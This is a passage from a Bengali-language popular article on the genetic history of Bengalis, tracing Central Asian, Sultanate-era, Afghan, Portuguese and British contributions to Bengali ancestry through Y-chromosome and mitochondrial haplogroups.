নতুন জিনপুল। তারা তাদের সাথে নতুন ভাষাও নিয়ে এসেছিল: প্রশাসনের জন্য ফার্সি, ধর্মের জন্য আরবি এবং ছাউনির জীবনের জন্য তুর্কি উপভাষা। জিনগত গবেষণায় দেখা গিয়েছে, কিছু বাঙালি মুসলিম, বিশেষ করে যারা অভিজাত বা জমিদার শ্রেণির পূর্বপুরুষ, তারা মধ্য-এশীয় জনগোষ্ঠীর সাথে সম্পর্কিত জিনগত ‘ওয়াই-ডিএনএ’ হ্যাপ্লোগ্রুপ বহন করে। এর মধ্যে রয়েছে ইরানি এবং তুর্কি পৈতৃক বংশধারা। এই নতুন বসতি স্থাপনকারীরা স্থানীয় নারীদের সাথে বিবাহবন্ধনে আবদ্ধ হয়েছিলেন, যাদের অনেকেই প্রজন্মের পর প্রজন্ম ধরে ইসলামে ধর্মান্তরিত হয়েছিলেন। ফলস্বরূপ, বাঙালি জনগোষ্ঠীতে মধ্য-এশীয়, অর্থাৎ পূর্ব-ইউরেশীয়, পশ্চিম-ইউরেশীয় এবং দক্ষিণ-এশীয় পূর্বপুরুষদের একটি মোজাইক ডিএনএ-র ধীরে ধীরে অনুপ্রবেশ ঘটে। এই অভিবাসীদের প্রভাব কেবলমাত্র উচ্চশ্রেণির মধ্যে সীমাবদ্ধ ছিল না। সৈনিক, কেরানি, কারিগর এবং ধর্মীয় শিক্ষকরা সকলেই সামাজিক বাস্তুতন্ত্রের অংশ হয়ে ওঠেন। আজও, কিছু বাঙালি পরিবার গর্বের সাথে আফগান বা তুর্কি বংশের কথা বলেন। পাঠান, খান এবং মির্জার মতো কিছু উপাধি এই উত্তরাধিকার বহন করে, কিংবা বাংলাদেশের কিছু শেখ পরিবার আরব ব্যবসায়ী, পারস্য পণ্ডিত এবং এই অঞ্চলে বসতি স্থাপনকারী তুর্কি বিজয়ীদের বংশধর বলেও দাবি করেন। 

প্রাচীন যুগে বাংলা (ছবি: বাংলাপিডিয়া)
প্রাচীন বাংলা

মধ্য-এশীয় বংশের প্রভাব কেবল একটি মাত্র তরঙ্গের মধ্যেই সীমাবদ্ধ ছিল না, এটি শতাব্দী ধরে অব্যাহত ছিল। বখতিয়ার খিলজির নেতৃত্বে গৌড় বিজয়ের মাধ্যমে বাংলাকে ধীরে ধীরে দিল্লি সালতানাতের অন্তর্ভুক্ত করা হয়। বাংলা দিল্লি সালতানাতের একটি প্রাদেশিক রাজধানীতে পরিণত হয় এবং পরবর্তীতে এটি একটি স্বাধীন সালতানাত হয়ে গাঙ্গেয় বদ্বীপ অঞ্চলে একটি প্রভাবশালী শক্তি হিসেবে আবির্ভূত হয়েছিল। ইলিয়াস শাহ পাণ্ডুয়াতে (বর্তমান হুগলি জেলা, পশ্চিম বাংলা) তার রাজধানী স্থাপন করে গঙ্গা, ব্রহ্মপুত্র ও মেঘনা নদীর ব-দ্বীপ একীভূতের মাধ্যমে ‘বাংলা সালতানাত’ প্রতিষ্ঠা করেন। হাবশি শাসন (আবীসিনীয় বা ইথিওপীয় বংশোদ্ভূত), শের শাহ সুরি ও কররানী রাজবংশীয় শাসনসহ বাংলা সালতানাতের ১৩৫২ থেকে ১৫৭৬ পর্যন্ত শাসনামলে, শাসকরা মধ্য- ও পশ্চিম-এশিয়া থেকে পণ্ডিত, কারিগর, ব্যবসায়ীসহ নানা প্রতিভা এবং জনশক্তি আমদানি করেছিলেন। বলা বাহুল্য, ১৫৩৮ থেকে ১৫৭৬ পর্যন্ত, হোসেন শাহী রাজবংশের পতনের পর, বাংলায় আফগানদের শাসন শুরু হয়। বাংলা সালতানাত ও  আফগান শাসনামলে, অভিবাসীদের প্রতিটি আগমন বাংলার জিনতাত্ত্বিক ক্যানভাসে ভিন্নতর প্রভাব যোগ করে। বিশেষ করে বাংলা সালতানাত গঠনের পর, বাঙালি সুলতানদের ডিএনএ স্থানীয় বাঙালি বংশধরদের এবং মধ্য-এশিয়া, আফগানিস্তান, পারস্য, আরব এবং উত্তর-ভারত থেকে আসা অভিবাসীদের প্রভাবের মিশ্রণকে প্রতিফলিত করে। তাদের অভিবাসন এবং পরবর্তীতে বাংলায় বসতি স্থাপনের ফলে বাংলায় তাদের ডিএনএ মার্কারগুলির (ওয়াই-ডিএনএ হ্যাপ্লোগ্রুপ জে-২, আর-১, ই, এবং এল) উপস্থিতি দেখা দিয়েছে। কিছু অঞ্চলে, বিশেষ করে ঢাকা, রাজশাহী এবং উত্তর বাংলার কিছু অংশে, এই বংশধারাগুলি বেশি দেখা যায়। এছাড়াও, সুলতান জালালুদ্দিন মুহাম্মদ শাহ এর শাসনামলে আরাকান (বর্তমানে রাখাইন রাজ্য) বাংলা সালতানাতের একটি সামন্ত রাজ্য ছিল। তারা মূলত আদি তিব্বতি-বর্মন অভিবাসীর বংশধর এবং তাদের সাথেও বাংলার, বিশেষকরে  চট্টগ্রাম ও পার্বত্য-চট্টগ্রামের অধিবাসীর সংমিশ্রনেরও ইঙ্গিত পাওয়া যায়। তবে কেবল শাসকদের ডিএনএ-ই বাংলাকে বদলে দেয়নি, ইসলামের আগমন সম্প্রদায় গঠনের নতুন ধরনও তৈরি করে। 

বাংলা ভাষা প্রথমবারের মতো সুলতান আমলেই দরবারি ভাষা হিসেবে স্বীকৃতি পায়। তারা গৌড় এবং পান্ডুয়ার মতো প্রশাসনিক শহর স্থাপন করেছে, মসজিদ তৈরি করেছে এবং ইসলামি পণ্ডিত এবং আলেমদের স্বাগত জানিয়েছে। সময়ের সাথে সাথে, এই বিদেশি অভিবাসীরা বৃহত্তর বাঙালি মুসলিম জনসংখ্যার মধ্যে মিশে যায়। তারা বাংলা ভাষা ও স্থানীয় রীতিনীতি গ্রহণ করে এবং তাদের সন্তানরা রক্তে, কথায় এবং আত্মায় বাঙালি হয়ে ওঠে, এবং ওই মধ্য- ও পশ্চিম-এশীয়দের ডিএনএ বাঙালির জিনোমে স্থায়ী হয়ে যায়। আধুনিক বাংলার মুখমন্ডলে, বিশেষ করে এর শহুরে মুসলিম পরিবারে, এই প্রাচীন ভ্রমণকারীরা এখনও বাস করে, প্রাসাদ বা দুর্গে নয়, বরং চোখ, হাড় এবং ডিএনএ-তে। একটি জিন সমীক্ষা সেটাই প্রমাণ করে: আমাদের ১এ, জেড-৯৩ এবং জে-২-এর মতো নির্দিষ্ট ওয়াই-ক্রোমোজোম হ্যাপলোগ্রুপগুলি পশ্চিম- এবং মধ্য-এশিয়া থেকে পিতৃতান্ত্রিক বংশের দিকে ইঙ্গিত করে। বিপরীতে, মাতৃতান্ত্রিক মাইটোকন্ড্রিয় হ্যাপলোগ্রুপগুলি মূলত স্থানীয়দের জিনপরিচয় প্রকাশ করে। বাংলার সালতানাত তার ধর্মীয় বহুত্ববাদের জন্য পরিচিত ছিল, যেখানে অমুসলিম সম্প্রদায়গুলি মুসলিমদের সাথে শান্তিপূর্ণভাবে সহাবস্থান করত। এটি এই অঞ্চলের বিভিন্ন ধর্মীয় গোষ্ঠীর মধ্যে এমনকী জিনোমেও একীকরণ এবং আত্তীকরণের একটি মাত্রা নির্দেশ করে। সর্বপরি, বাংলা সালতানাতের ২০০ বছরের শাসনকালে বাঙালি জিনোম হয়ে উঠেছিল সমৃদ্ধ, বৈচিত্র্যময় এবং বিশ্বজনীন। ষোড়শ শতাব্দীতে মুঘল সাম্রাজ্যের উত্থানের সাথে সাথে বঙ্গ সালতানাত ভেঙ্গে যায়। সম্রাট আকবর ও সম্রাট জাহাঙ্গীরের শাসনামলে বাংলায় তাদের শাসন প্রতিষ্ঠিত হয়েছিল। এরপর শুরু হয় বাংলার নবাবি আমল- যার প্রকৃত স্বাধীন শাসক ছিলেন বাংলার নবাব আলিবর্দী খাঁন ও নবাব সিরাজুদ্দৌলা।  

ইউরোপীয়দের আগমন এবং বংশানুগতিক ইতিহাসের নতুন ধারা:

ঔপনিবেশিক আমলে, ষোড়শ শতাব্দীর গোড়ার দিকের কথা, যখন চট্টগ্রাম বন্দরে প্রথম ইউরোপীয় জাহাজ নোঙর করেছিল, তখন বাংলা ইতোমধ্যেই অনেক পূর্বপুরুষের দেশ হয়ে উঠেছিল। পর্তুগিজদের আগমন ঘটেছিল। কিছু পর্তুগিজ স্থানীয় বাঙালি মেয়েদের সাথে বিবাহবন্ধনে আবদ্ধ হয়ে যে দুটি ভিন্নতর জিনোমের মিশ্রন হয় এবং যেসব সন্তানদের জন্ম হয়, তাদের বংশকুল পরিচিত হল গোমেজ, রোজারিও এবং ফার্নান্দেজের মতো নানা নামে। তারা পর্তুগিজ ভাষার সাথে বাংলার মিশ্রণে ক্রেওল (বাংলা-পর্তুগিজ) উপভাষায় কথা বলত। মাইটোকন্ড্রীয় ডিএনএ গবেষণায়, এই অঞ্চলের জনগোষ্ঠীর মধ্যে পর্তুগিজ বংশের চিহ্ন এখনও পাওয়া যায়। পরবর্তীতে, পর্তুগিজদের অনুসরণ করে এসেছে দিনেমার (ডেনমার্কের মানুষ), ফরাসি এবং অবশেষে ব্রিটিশ। বাঙালির জিনোমে জিনগত-বৈচিত্র্যে ইউরোপীয় প্রভাব একটি গৌণ স্তর হলেও, এরা প্রত্যেকেই বিভিন্ন মাত্রায় তাদের জিনগত ও সাংস্কৃতিক প্রভাব এই বাংলায় রেখে গেছে। প্রায় ১৫০০ খ্রিস্টপূর্বাব্দে, ইন্দো-আর্য-অভিবাসন এই অঞ্চলে এক নতুন জিনগত প্রভাব নিয়ে আসে, ফলে বাঙালি ডিএনএ-তে ইন্দো-ইউরোপীয়দের একটি গুরুত্বপূর্ণ অবদান তো আছেই; এছাড়া ব্রিটিশ ঔপনিবেশিক আমলে (১৮শ থেকে ২০শ শতাব্দী), ইউরোপীয় ব্যক্তিদের (প্রাথমিকভাবে ব্রিটিশ) এবং স্থানীয় বাঙালি জনগোষ্ঠীর মধ্যে জিনের মিশ্রণ ঘটেছে। অনেক ব্রিটিশ পুরুষ বাঙালি মেয়েদের সাথে সম্পর্ক তৈরি করেছিল, কিছু আনুষ্ঠানিক কিছু অনানুষ্ঠানিক। এই মিলনের ফলে অ্যাংলোইন্ডিয়ান নামে শিশুদের জন্ম হয়। ওইসব অ্যাংলোইন্ডিয়ান সম্প্রদায়ের উপর একটি জিন গবেষণায় ব্রিটিশ ওয়াই-ক্রোমোজোম হ্যাপলোগ্রুপ এবং দক্ষিণ এশীয় মাইটোকন্ড্রীয় বংশের মিশ্রণ দেখা যায়, যা ব্রিটিশ পুরুষবংশ এবং বাঙালি নারীবংশের ইঙ্গিত দেয়। এই মিলনের সন্তানরা বাঙালি জিনোমে একটি নতুন সূত্র যোগ করেছে।  ১৯৪৭ পরবর্তী সময়ে তাদের অনেকেই তাদের নাম ও ধর্ম পরিবর্তন করে সম্পূর্ণরূপে বাঙালি সমাজে মিশে যায়, এবং স্থানীয় পরিবারে বিয়ে করে। এটি করার মাধ্যমে, তারা তাদের পূর্বপুরুষদের বৈশিষ্ট্য বৃহত্তর জনসংখ্যার সাথে একীভূত করে। এদের সংখ্যা আনুপাতিকহারে ছোট হলেও, বাংলার বৈচিত্র্যের সমৃদ্ধ কাঠামোর অংশ হিসাবে রয়ে গেছে। 

উপসংহার: 

বাঙালি ডিএনএ সহস্রাব্দ ধরে বিভিন্ন জনগোষ্ঠীর সাথে অভিবাসন, অভিযোজন এবং সাংস্কৃতিক আদান-প্রদানের জটিল পারস্পরিক ক্রিয়া প্রদর্শন করে। তারা আমাদের মনে করিয়ে দেয় যে ইতিহাস কেবল পাঠ্যপুস্তকে নয়— হাড়, রক্ত ​​এবং নিঃশ্বাসেও সেই চিহ্নগুলি রেখে যায়। আদিবাসী শিকড় থেকে পূর্ব-এশীয় এবং অন্যান্য মিশ্রণ পর্যন্ত অনন্য জেনেটিক মার্কারগুলি, মানব বংশের গতিশীল প্রকৃতির একটি সংযোগস্থল এবং প্রমাণ হিসাবে এই অঞ্চলের ঐতিহাসিক ভূমিকার উপর জোর দেয়। এই গবেষণা বাঙালি জাতিগোষ্ঠীর সমৃদ্ধ এবং বৈচিত্র্যময় ঐতিহ্যের প্রতি আমাদের উপলব্ধি আরও গভীর করে, আমাদের মনে করিয়ে দেয় যে, পরিচয় একটি স্থির গঠন নয়, বরং আমাদের জেনেটিক কোডে খোদাই করা একটি ক্রমাগত বিকশিত গল্প। বাঙালির ডিএনএ-র সেই গল্প এখনও বহমান, বাঙালি জিনোম এখনও গতিশীল।  আজ, বাঙালিরা আর সেই নদী এবং ব-দ্বীপের দ্বারা আবদ্ধ নয়, যা একসময় তাদের পূর্বপুরুষদের সংজ্ঞায়িত করা হয়েছিল। তারা এখন বিশ্বজুড়ে ছড়িয়ে ছিটিয়ে আছে, বিশেষ করে যুক্তরাজ্য এবং মার্কিন যুক্তরাষ্ট্রের মতো দেশগুলিতে বসবাসকারী বৃহৎ বাঙালি প্রবাসীরা আন্তঃবিবাহ এবং সাংস্কৃতিক আদান-প্রদানের মাধ্যমে ইউরোপীয় বংশোদ্ভূতদেরসহ অন্যান্য বৈশ্বিক জনগোষ্ঠীর সাথে বাঙালি জিনের মিশ্রণে অবদান রাখছে, জিনতাত্ত্বিকভাবে পুনর্নির্মাণ করছে তাদের পরিচয়।